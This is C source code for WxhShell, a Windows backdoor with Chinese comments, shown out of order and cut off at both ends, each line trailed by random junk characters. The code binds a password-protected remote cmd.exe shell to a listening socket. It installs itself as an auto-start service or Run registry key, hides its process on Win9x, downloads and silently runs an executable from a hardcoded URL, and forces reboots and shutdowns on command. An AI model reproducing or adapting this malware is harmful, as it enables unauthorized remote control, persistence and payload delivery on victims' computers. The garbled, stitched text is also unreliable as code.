  case 'd': { rHR5,N:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EsS!07fAM:  
    if(Boot(SHUTDOWN)) rjt O`Mt`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}*Ctdrl  
    else { s')!<E+z\t  
    closesocket(wsh); \y<+Fac1S  
    ExitThread(0); pq@$&G  
    } KF*B  
    break; ]IL3$eR  
    } "P9wT)J_  
  // 获取shell xU:PhhS  
  case 's': { ?T~3B]R  
    CmdShell(wsh); FP0<-9DO  
    closesocket(wsh); Y'\3ux0]4'  
    ExitThread(0); o(vZ*^\  
    break; mq>*W' M  
  } -_:JQ  
  // 退出 (d1V1t2r6  
  case 'x': { 5Xla_@WLW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oM m/!Dc  
    CloseIt(wsh); ]ZBgE\[  
    break; `,<>){c|  
    } !<JG&9ODP  
  // 离开 6S` ,j  
  case 'q': { HP1X\h!Ke  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h%4 ~0  
    closesocket(wsh); ^2(";.m  
    WSACleanup(); hnlU,p&y3  
    exit(1); "Vs Nyy  
    break; |J @|  
        } )3d:S*ly  
  } _AA`R`p;  
  } bi,rMgW  
c'>8pd  
  // 提示信息 c1=;W$T(s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a .B\=3xn  
} PLl x~A  
  } #nt<j2}m  
<L[  *hp  
  return; gqKC4'G0  
} zcbA)  
9;'>\ImI  
// shell模块句柄 jFK9?cLT  
int CmdShell(SOCKET sock) uT@8 _9  
{ xQcMQ{&;  
STARTUPINFO si; !dYX2!lvT  
ZeroMemory(&si,sizeof(si)); p2M?pV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?3e!A9x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Mh4X`<e  
PROCESS_INFORMATION ProcessInfo; BUboP?#%)  
char cmdline[]="cmd"; KG7X8AaK#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !'c6Hs  
  return 0; %t(, *;  
} k N uN4/  
qugPs(uQ  
// 自身启动模式 -b Ipmp?  
int StartFromService(void) f^>lObvd  
{ ^[SbV^DOL  
typedef struct gw*yIZ@3)  
{ =!Baz&#}  
  DWORD ExitStatus; gGceK^#  
  DWORD PebBaseAddress; 1yY'hb,0  
  DWORD AffinityMask; jtlDSf#  
  DWORD BasePriority; fNmG`Ke  
  ULONG UniqueProcessId; a93d'ZE-X  
  ULONG InheritedFromUniqueProcessId; 0VWCm( f-  
}   PROCESS_BASIC_INFORMATION; C=pPI  
2t~7eI%d  
PROCNTQSIP NtQueryInformationProcess; )yz9? ]a  
J_)z:`[yE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! S$oaCxM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $e^ :d  
M2;(+8 b  
  HANDLE             hProcess; J,&`iL-  
  PROCESS_BASIC_INFORMATION pbi; ~P_d0A~T  
/(z0I.yE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EUYa =-  
  if(NULL == hInst ) return 0; p'9 V. _h  
@O*ev| o@x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8P'En+uE1|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FK/ro91L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9x 6ca  
Xk7$?8r4&  
  if (!NtQueryInformationProcess) return 0; U_=wL  
Iu)(Huv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =QO1FO  
  if(!hProcess) return 0; 2*UE&Gp  
fQ?n(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8u~\]1 (  
IU;pkgBj0Y  
  CloseHandle(hProcess); :pV("tHE  
PK|`}z9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z-;uzx  
if(hProcess==NULL) return 0; n?ZH2dI \0  
:[ZC-hc\  
HMODULE hMod; h-)A?%Xt  
char procName[255]; J 6d n~nPK  
unsigned long cbNeeded; @a7(*<".  
K:Xrfn{s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rh-8//&vZ/  
qS[p|*BL  
  CloseHandle(hProcess); Qe=Q8cT  
O (sFs1  
if(strstr(procName,"services")) return 1; // 以服务启动 1x<rh\oo  
V HY<(4@  
  return 0; // 注册表启动 vGMOXbq4&  
} lCs8`bYU  
~Hs]}Xo  
// 主模块 w[$Wpae  
int StartWxhshell(LPSTR lpCmdLine) ![."xHVeL  
{ ]FnrbQ|  
  SOCKET wsl; 7 +W?Qo  
BOOL val=TRUE; 9@&Z`b_  
  int port=0; 1Qc(<gM  
  struct sockaddr_in door; QW"6]  
e|+;j}^C  
  if(wscfg.ws_autoins) Install(); ,LW%'tQ~"  
E'kQ  
port=atoi(lpCmdLine); z$im4'\c  
u=UM^C!  
if(port<=0) port=wscfg.ws_port; KzH}5:qI  
RX<^MzCDV  
  WSADATA data; JNz"lTt>[g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {II7%\ya  
YF[!Hpzq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b<H6 D}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bz,cfc;?$  
  door.sin_family = AF_INET; !`S%l1[Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V{^fH6;[  
  door.sin_port = htons(port); N55=&-p  
T4, Zc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ,IvnNnl2  
closesocket(wsl); YKS'#F2  
return 1; $Q7E#  
} E*b[.vUp  
D;8V{Hs  
  if(listen(wsl,2) == INVALID_SOCKET) { _ JJ0pc9t  
closesocket(wsl); fkUH]CdaB  
return 1; nQYS{`hk  
} v'~nABYH  
  Wxhshell(wsl); a0j.\g  
  WSACleanup(); dfk TDG+  
#dm@%~B{.  
return 0; +(k)1kCMn  
q,>F#A '  
}  WD do{  
z# ?w/NE  
// 以NT服务方式启动 y Q @=\'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EqDYQ 7  
{ u9^;~i,  
DWORD   status = 0; i3WmD@  
  DWORD   specificError = 0xfffffff; u2\qg;dP  
Fea\ eB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jn[ K0GV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $5AtI$TV_!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ifCGNvDR  
  serviceStatus.dwWin32ExitCode     = 0; _"Ke=v_5  
  serviceStatus.dwServiceSpecificExitCode = 0; XI(@O)  
  serviceStatus.dwCheckPoint       = 0; ?m7"G)  
  serviceStatus.dwWaitHint       = 0; FG36,6N%2j  
xla^A}{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9}Ave:X^  
  if (hServiceStatusHandle==0) return; {3uSg)  
Wjk;"_"gd  
status = GetLastError(); !P^$g R  
  if (status!=NO_ERROR) 1? hd  
{ qJzK8eW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v})Ti190  
    serviceStatus.dwCheckPoint       = 0; a7d-  
    serviceStatus.dwWaitHint       = 0; 12DdUPOi  
    serviceStatus.dwWin32ExitCode     = status; nMvIL2:3  
    serviceStatus.dwServiceSpecificExitCode = specificError; B148wh#r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BW\5RIWwE5  
    return; .W.U:C1  
  } 67:<X(u+!  
!Jp.3,\?~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #UN{ J6{  
  serviceStatus.dwCheckPoint       = 0; 2EcYO$R!  
  serviceStatus.dwWaitHint       = 0; +VCo=oA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D>^ix[:J  
} Sqt"G6<  
3E@&wpj  
// 处理NT服务事件,比如:启动、停止 3Qr!?=nf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &rWJg6/  
{ EUS]Se2  
switch(fdwControl) Y9ce"*b  
{ qNVw+U;2P  
case SERVICE_CONTROL_STOP: 5j 01Mx A  
  serviceStatus.dwWin32ExitCode = 0; |MrH@v7S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ntrn("!  
  serviceStatus.dwCheckPoint   = 0; kx(:Z8DX  
  serviceStatus.dwWaitHint     = 0; Sf:lN4  
  { +!Ag n)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?6]ZQ\,  
  } |OT%,QT|  
  return; ;mxT >|z  
case SERVICE_CONTROL_PAUSE: `IQC\DSl/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Lzj'Ij  
  break; &.4a  
case SERVICE_CONTROL_CONTINUE: qr;" K?NX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3AL=*qq  
  break; Q>*K/%KD  
case SERVICE_CONTROL_INTERROGATE: gb#wrI  
  break; LKY Q?  
}; "G)?  E|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); phSP+/w  
} _)" 5 gv  
4 /vQ=t  
// 标准应用程序主函数 bxHk0w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2`eu3vA  
{ 1vd+p!n  
7NqV*  
// 获取操作系统版本 eajL[W^>  
OsIsNt=GetOsVer(); =#fvdj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tR/ JY;jn  
;BvWU\!  
  // 从命令行安装 =S +:qk  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Cc$ P  
NFPkK?+  
  // 下载执行文件 HWZ*Htr  
if(wscfg.ws_downexe) { 39e oL;O_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M$A!  
  WinExec(wscfg.ws_filenam,SW_HIDE); |(g2fByDf  
} 4D$E  
Q+N @j]'  
if(!OsIsNt) { <(%uOo$  
// 如果时win9x,隐藏进程并且设置为注册表启动 :9qB{rLi}  
HideProc(); Wd<}|?R  
StartWxhshell(lpCmdLine); 9V!K. _Cb  
} ,%<77LE  
else M#|xj <p  
  if(StartFromService()) _<Tz 1>j=  
  // 以服务方式启动 %LmB`DqZ  
  StartServiceCtrlDispatcher(DispatchTable); AkC\CdmA  
else pDfF'jt9  
  // 普通方式启动 4TV9t"Dk+c  
  StartWxhshell(lpCmdLine); =T6\kz9)`  
"0mR*{nF  
return 0; c+VUk*c3  
} qQryv_QP  
Jy$-)  
5=e@yIr'#  
$]86w8?-N  
=========================================== ? ~8V;Qn  
tO$M[P=b  
``D-pnKK  
(Zkt2[E`  
07&S^ X^/  
Pr'py  
" 35et+9  
C%h_!z":  
#include <stdio.h> _uacpN/<|  
#include <string.h> @ZZ Lh=  
#include <windows.h> sj2+|>  
#include <winsock2.h> rv>6k:(  
#include <winsvc.h> :PJjy6,1  
#include <urlmon.h> S5M t?v|K  
7IR n  
#pragma comment (lib, "Ws2_32.lib") QG ia(  
#pragma comment (lib, "urlmon.lib") )^AO?MW  
>~k Y{_  
#define MAX_USER   100 // 最大客户端连接数 H6QQ<~_&  
#define BUF_SOCK   200 // sock buffer )Q`<O  
#define KEY_BUFF   255 // 输入 buffer n"vI>_|G  
&40d J~SQ  
#define REBOOT     0   // 重启 |/Z4lcI  
#define SHUTDOWN   1   // 关机 6|x<) Gc  
u5,<.#EVY  
#define DEF_PORT   5000 // 监听端口 JM0)x}] +  
_Yv9u'q"  
#define REG_LEN     16   // 注册表键长度 J<D =\  
#define SVC_LEN     80   // NT服务名长度 3@SfCG&|e  
yuWrU<Kw  
// 从dll定义API bK7DGw`1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qm_\#r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7P]pk=mo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7UfyOOFa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v?J2cL  
l!2.)F`x  
// wxhshell配置信息 TDFv\y}yc  
struct WSCFG { y!].l0e2a  
  int ws_port;         // 监听端口 oz--gA:g  
  char ws_passstr[REG_LEN]; // 口令 6 AY%o nY  
  int ws_autoins;       // 安装标记, 1=yes 0=no :.^{!  
  char ws_regname[REG_LEN]; // 注册表键名 -\vq-n  
  char ws_svcname[REG_LEN]; // 服务名 <@P0sd   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0td;Ag  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q{l;8MCL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <=lP6B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !G37K8 &&*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mmn[ol  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) PtaX|U  
]d0Dd")n  
}; N|; cG[W  
riz({  
// default Wxhshell configuration |?8wyP  
struct WSCFG wscfg={DEF_PORT, Oc1ZIIkh\  
    "xuhuanlingzhe", BC^WPr  
    1, lsd\ `X5,  
    "Wxhshell", ( s*}=  
    "Wxhshell", QLn5:&  
            "WxhShell Service", K4~dEZ   
    "Wrsky Windows CmdShell Service", Sq,x@  
    "Please Input Your Password: ", .%o:kq@B  
  1, 8EQ;+V  
  "http://www.wrsky.com/wxhshell.exe", ]pb3 Fm{  
  "Wxhshell.exe" +KZc"0?  
    }; X~0P+E#  
{u7E)Fdl  
// 消息定义模块 p[RD[&#b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B{Rig5Sc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K% ;O$ >  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E yuc~[  
char *msg_ws_ext="\n\rExit."; =1D*K%  
char *msg_ws_end="\n\rQuit."; 7RO=X%0A  
char *msg_ws_boot="\n\rReboot..."; m&2m' =(  
char *msg_ws_poff="\n\rShutdown..."; !Lo{zTDW  
char *msg_ws_down="\n\rSave to "; jhHb[je~{4  
*GA#.$n  
char *msg_ws_err="\n\rErr!"; `7NgQ*g.d/  
char *msg_ws_ok="\n\rOK!"; ;YB8X&H$  
r&#q=R},p  
char ExeFile[MAX_PATH]; dg-pwWqN  
int nUser = 0; BJvVZl2h  
HANDLE handles[MAX_USER]; UV=TU=A\o  
int OsIsNt; ls=<c<  
1i{B47|  
SERVICE_STATUS       serviceStatus; &]5<^?3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~"(1~7_  
`g#\ Ws  
// 函数声明 E:7vm@+  
int Install(void); g wk\[I`;  
int Uninstall(void); *J6qL! ["  
int DownloadFile(char *sURL, SOCKET wsh); E-RbFTVBA  
int Boot(int flag); U+W8)7bc  
void HideProc(void); /c09-$M  
int GetOsVer(void); lB,MVsn18  
int Wxhshell(SOCKET wsl); ^b4o 0me  
void TalkWithClient(void *cs); ;@sxE}`?g  
int CmdShell(SOCKET sock); =%bc;ZUu  
int StartFromService(void); CN zK-,  
int StartWxhshell(LPSTR lpCmdLine); #SL/Jr DZ  
9F3`hJZRy>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r`lgK2r\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sbgRl%  
; qvZ*  
// 数据结构和表定义 b{(:'.  
SERVICE_TABLE_ENTRY DispatchTable[] = Q.nEY6B_  
{ ?Hy++  
{wscfg.ws_svcname, NTServiceMain}, B]jh$@  
{NULL, NULL} i cZQv]  
}; ,L`qV  
L&eO?I=,  
// 自我安装 n^'{{@&(v  
int Install(void) NKd):>d%  
{ v5&WW?IBQ  
  char svExeFile[MAX_PATH]; k (Ow.nkb  
  HKEY key;  -"<eq0  
  strcpy(svExeFile,ExeFile); ;e-iiC]PI  
m0:8thZN  
// 如果是win9x系统,修改注册表设为自启动 z\fk?Tj<ro  
if(!OsIsNt) { 7FWf,IjcGY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }(gXlF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UF}fmDi  
  RegCloseKey(key); &98qAO]Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F M`pPx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n 6oVx 5/  
  RegCloseKey(key); |ek*wo  
  return 0; e&E*$G@.7  
    } qWo|LpxWt  
  } DD;PmIW  
}  Vb/J`  
else { |GIT{_JE  
#* w$JH  
// 如果是NT以上系统,安装为系统服务 X]`\NNx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5^ pQ=Sgt  
if (schSCManager!=0) eK]GyY/Y  
{ Z$2mVRS`c  
  SC_HANDLE schService = CreateService )M1.>?b  
  ( K":- zS  
  schSCManager, XfB;^y=u8  
  wscfg.ws_svcname, 2 !{P<   
  wscfg.ws_svcdisp, m"u 9AOHk  
  SERVICE_ALL_ACCESS, _w)0r}{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U; ev3  
  SERVICE_AUTO_START, #LF_*a0v  
  SERVICE_ERROR_NORMAL, 1`b?nX  
  svExeFile, 75<E0O  
  NULL, Ey)ox$  
  NULL, Lc+)#9*d  
  NULL, NJn~XCq  
  NULL, d@`yRueWiV  
  NULL #~(@Ka.eA0  
  ); IDv@r\Xw  
  if (schService!=0) ; <3w ,r  
  { |U12 fuQ  
  CloseServiceHandle(schService); A*W QdY  
  CloseServiceHandle(schSCManager); IhUuL0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p_tMl%K  
  strcat(svExeFile,wscfg.ws_svcname); P^+Og_$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *,mbZE=<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u{8Wu;  
  RegCloseKey(key); aRfkJPPa[  
  return 0; r/8,4:rh  
    } t'~:me!  
  } Z3 &8(vw  
  CloseServiceHandle(schSCManager); YAsvw\iseK  
} )\p@E3Uxf  
} T< P4+#JK  
_)lK.5  
return 1; DAJh9I  
} 'M YqCfIK  
_Tev503  
// 自我卸载 }K0.*+M  
int Uninstall(void) "x&H*"  
{ M=@U]1n*c  
  HKEY key; ==Ju2D?%  
f'*HP%+Y  
if(!OsIsNt) { >[ywrB ?T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { julAN$2  
  RegDeleteValue(key,wscfg.ws_regname); {_PV~8u  
  RegCloseKey(key); VAV@Qn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I C7n;n9  
  RegDeleteValue(key,wscfg.ws_regname); :x= ZvAvo  
  RegCloseKey(key); r0?`t!% V  
  return 0; PE+N5n2Tl  
  } eF!c< Kcr  
} ;p1%KmK3  
} 0A\o8T.12  
else { 2qw~hWX  
e(j"u;=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iQS?LksQX  
if (schSCManager!=0) H`m| R  
{ dc"Vc 3)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HA"LU;5>2J  
  if (schService!=0) vBq 2JJAl  
  { P6;L\9=H<  
  if(DeleteService(schService)!=0) { luAhyEp  
  CloseServiceHandle(schService); +n1}({7m  
  CloseServiceHandle(schSCManager); *COr^7Kf5  
  return 0; QR<IHE{~8  
  } yP~D."  
  CloseServiceHandle(schService); #2|sS|0<  
  } G`gYwgU;  
  CloseServiceHandle(schSCManager); B +_D*a  
} u]CW5snz  
} hNSV}~h  
sLb[ZQ;j  
return 1; `<q{8  
} fytgS(?I'  
(~,Q-w"  
// 从指定url下载文件 D6c4tA^EO  
int DownloadFile(char *sURL, SOCKET wsh) 8V.x%T  
{ 4e1Zyi!  
  HRESULT hr; rQ. j$U  
char seps[]= "/"; O zY&^:>  
char *token; ytr~} M%  
char *file; <dh7*M  
char myURL[MAX_PATH]; !)KX?i[Q  
char myFILE[MAX_PATH]; dorZ O2Uc  
<eb>/ D  
strcpy(myURL,sURL); yAXw?z!`O  
  token=strtok(myURL,seps); 5>"-lB &  
  while(token!=NULL) Mt<TEr}7Z=  
  { 592q`m\  
    file=token; fGY. +W_  
  token=strtok(NULL,seps); &`0heJ 5Yn  
  } N^CD4l  
/3'>MRzR  
GetCurrentDirectory(MAX_PATH,myFILE); WZ;f3 "  
strcat(myFILE, "\\"); .u)Po;e`  
strcat(myFILE, file); pgfI1`h  
  send(wsh,myFILE,strlen(myFILE),0); tb^3-ZUb  
send(wsh,"...",3,0); XEY((VL0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u%3Z +[  
  if(hr==S_OK) _D[vMr[  
return 0; {BDp`uZ  
else #2{ };)  
return 1; T'0Ot3m`  
"~N#Jqzr:  
} @va)j   
m?>$!B4jFB  
// 系统电源模块 ES<"YF  
int Boot(int flag) jvCk+n[  
{ "PLZZL$+  
  HANDLE hToken; /|P&{!  
  TOKEN_PRIVILEGES tkp; -@<k)hWr  
>Ix)jSNLgo  
  if(OsIsNt) { 9^3y\@ m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7YkxIzE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n<y!@p^X  
    tkp.PrivilegeCount = 1; I( G8cK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \{P(s:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X#Ajt/XQ  
if(flag==REBOOT) { 7Oru{BQ">  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SP 97Q-  
  return 0; ;HgV(d#X  
} /@Y/(+DE  
else { O.  V!L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wYOSaGyZ0I  
  return 0; [D^KM|I%+  
} (KK9/k  
  } 7P.C~,+D%P  
  else { jx+%X\zokA  
if(flag==REBOOT) { $:t;WXc.<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r,EIOcz:  
  return 0; X-e)w  
} Z~9\7QJn  
else { |*e >hk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OtrO"K  
  return 0; {xMY2I++  
} 1wi{lJaz  
} W,}HQ  
=;i@,{ ~  
return 1; CT6a  
} l{E+j%  
5kofO  
// win9x进程隐藏模块 oost}%WxN  
void HideProc(void) Sz.jv#Y  
{ { P&l`  
LTm2B_+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .UU BAyjm  
  if ( hKernel != NULL ) '&xv)tno  
  { K\`L>B. 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mflH&Bx9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !/BXMj,=  
    FreeLibrary(hKernel); ezY _7  
  } 4M}u_}9  
F9^8/Z  
return; N;9@-Tb  
} 3;u*_ ]N_  
k"LbB#Q  
// 获取操作系统版本 9axJ2J'g  
int GetOsVer(void) ?ye) &  
{ %S]H  
  OSVERSIONINFO winfo; ZYos.ay  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e@Q<hb0<eU  
  GetVersionEx(&winfo); YrS%Yvhj0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0-oR { {  
  return 1; AL>*Vj2h/n  
  else .|NF8Fj  
  return 0; -y1%c^36_J  
} $21+6  
Rq%g5lK  
// 客户端句柄模块 ?PO~$dUc]  
int Wxhshell(SOCKET wsl) +FP*RNM  
{ k^}8=,j}  
  SOCKET wsh; XnHcU=~q  
  struct sockaddr_in client; \`-/\N  
  DWORD myID; >sv|  
y<.0+YL-e+  
  while(nUser<MAX_USER) (A}##h  
{ ;3s_#L  
  int nSize=sizeof(client); L 5J=+k,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /8VM.fr$  
  if(wsh==INVALID_SOCKET) return 1; wyzj[PDS  
Eb7qM.Q] &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #(mm6dj  
if(handles[nUser]==0) s/ibj@h  
  closesocket(wsh); ;\DXRKR  
else TyY[8J|  
  nUser++; `7zz&f9dDX  
  } 6] <~0{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A% 9TS/-p  
bJj <xjBM  
  return 0; .3l'&".'  
} )2C_6eR  
g>_lU vSE  
// 关闭 socket .cdm@_Ls  
void CloseIt(SOCKET wsh) OW<i"?0  
{ {w$1_GU  
closesocket(wsh); -ve{O-;  
nUser--; u.YPb@  
ExitThread(0); zRbooo{N  
} ~@S5*(&8  
y TfAS .  
// 客户端请求句柄 "45O!AjP  
void TalkWithClient(void *cs) gQ %'2m+  
{ I2hX;pk,  
3/RmJ `c{  
  SOCKET wsh=(SOCKET)cs; h@7S hp  
  char pwd[SVC_LEN]; wXIsc;  
  char cmd[KEY_BUFF]; zM%ILv4  
char chr[1]; Wky=]C%  
int i,j; .?UK`O2Q  
vE0Ty9OH"]  
  while (nUser < MAX_USER) { 3P-qLbJ  
h7c8K)ntnf  
if(wscfg.ws_passstr) { :A%uXgK<k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TBHIcX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J?&lpsB3_l  
  //ZeroMemory(pwd,KEY_BUFF); |#q5#@,  
      i=0; J)vP<.3:  
  while(i<SVC_LEN) { ))^rk 6  
oqH811  
  // 设置超时 $=uyZTYF)}  
  fd_set FdRead; }A3(g$8KR  
  struct timeval TimeOut; d?C8rkV'  
  FD_ZERO(&FdRead); qRT1Wre 3  
  FD_SET(wsh,&FdRead); +/y 3]}  
  TimeOut.tv_sec=8; # 8 0DM  
  TimeOut.tv_usec=0; D_ybgX?0:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r+-KrO'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xWWfts1t  
-K hXb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y [k%<f  
  pwd=chr[0]; 4vq,W_n.hQ  
  if(chr[0]==0xd || chr[0]==0xa) { xwhH_[  
  pwd=0; w'oP{=y[  
  break; 1H`T=:P?  
  } 6*u#^">,<  
  i++; ^UHt1[  
    } *9 M 5'  
Wly-z$\  
  // 如果是非法用户,关闭 socket mO;X>~K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %wn|H>  
} v _?0|Ei[  
TkXD#%nFY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M/C7<?&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aq@_^mq1A  
0 {#c  
while(1) { vU0j!XqE  
OQ;'Xo  
  ZeroMemory(cmd,KEY_BUFF); Is&z~Xy/  
ESp)%  
      // 自动支持客户端 telnet标准   ~n9BN'@x  
  j=0; GzxtC  &  
  while(j<KEY_BUFF) { [ R1S+i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < ek_n;R  
  cmd[j]=chr[0]; ]CsF} wr'z  
  if(chr[0]==0xa || chr[0]==0xd) { Z? u\  
  cmd[j]=0; ]`)50\pdw  
  break; g N76  
  } *ci,;-*C  
  j++; w|!>>W6J  
    } 12BTZ  
h^h,4 H\r  
  // 下载文件 A@-nn]  
  if(strstr(cmd,"http://")) { ~?4'{Hc'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l&2A]5C  
  if(DownloadFile(cmd,wsh)) ;M}'\.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZnSDq_Uk  
  else VZB T'N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~&B{"d  
  } @9~a3k|  
